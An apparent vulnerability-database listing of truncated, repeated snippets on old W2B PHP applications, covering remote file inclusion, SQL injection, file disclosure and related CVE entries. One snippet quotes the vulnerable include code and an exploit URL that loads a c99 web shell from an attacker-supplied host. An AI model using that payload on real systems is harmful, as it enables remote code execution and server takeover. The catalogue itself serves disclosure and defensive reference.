W2B Restaurant 1.2 - 'conf.inc' Configuration File Disclosure

|| || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | // | | |...

W2B phpEmployment File Disclosure

|| || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ Kings of injection | | // | | |...

W2B phpEmployment (conf.inc) File Disclosure VUlnerability

No description provided by source. || || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ /'\ \ /\ \ \ \ /'\ \ | | \ \ /\ /\ \ \ \ /...

Remote file inclusion

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

CVE-2008-1893

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

CVE-2008-1893

PHP remote file inclusion vulnerability in index.php in W2B Online Banking allows remote attackers to execute arbitrary PHP code via a URL in the ilang parameter...

CVE-2008-1893

The CVE-2008-1893 description identifies a PHP remote file inclusion vulnerability in the W2B Online Banking application, affecting the index.php file. An attacker can supply a URL in the ilang parameter to execute arbitrary PHP code on the server. The impact is described as partial confidentiali...

Sql injection

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

Sql injection

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

CVE-2008-1844

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

CVE-2008-1843

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

CVE-2008-1844

The CVE-2008-1844 entry concerns a SQL injection vulnerability in W2B phpHotResources, specifically in cat.php where the kind parameter can be exploited to execute arbitrary SQL commands. Affected component/function is cat.php in the PHP-based W2B phpHotResources application; underlying issue is ...

CVE-2008-1843

CVE-2008-1843 is an SQL injection vulnerability in the W2B DatingClub application, specifically in browse.php. The issue arises in the age_to parameter used within the browsebyCat action, allowing remote attackers to execute arbitrary SQL commands. The linked sources corroborate a standard inject...

CVE-2008-1844

SQL injection vulnerability in cat.php in W2B phpHotResources allows remote attackers to execute arbitrary SQL commands via the kind parameter...

CVE-2008-1843

SQL injection vulnerability in browse.php in W2B DatingClub aka Dating Club allows remote attackers to execute arbitrary SQL commands via the ageto parameter in a browsebyCat action...

w2b-rfi.txt

W2B Online Banking Remote File Inclusion Vulnerability AUTHOR: THuM4N Email : [email protected] Script : W2B Online Banking Site : http://www.w2b.ru Vulnerable CODE : /index.php include$SESSION"ilang"."/".$REQUEST"page".".htm"; EXPLOIT : http://HOST/Path/index.php?ilang=http://yoursite.com/c99.txt? ...

W2B Online Banking - ilang Remote File Inclusion

W2B Online Banking - ilang Remote File Inclusion source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the...

W2B Online Banking - 'ilang' Remote File Inclusion

source: https://www.securityfocus.com/bid/28796/info W2B Online Banking is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks...

W2B Dating Club - 'browse.php' SQL Injection

source: https://www.securityfocus.com/bid/28737/info W2B Dating Club is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modi...

W2B Dating Club - browse.php SQL Injection

W2B Dating Club - browse.php SQL Injection source: https://www.securityfocus.com/bid/28737/info W2B Dating Club is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...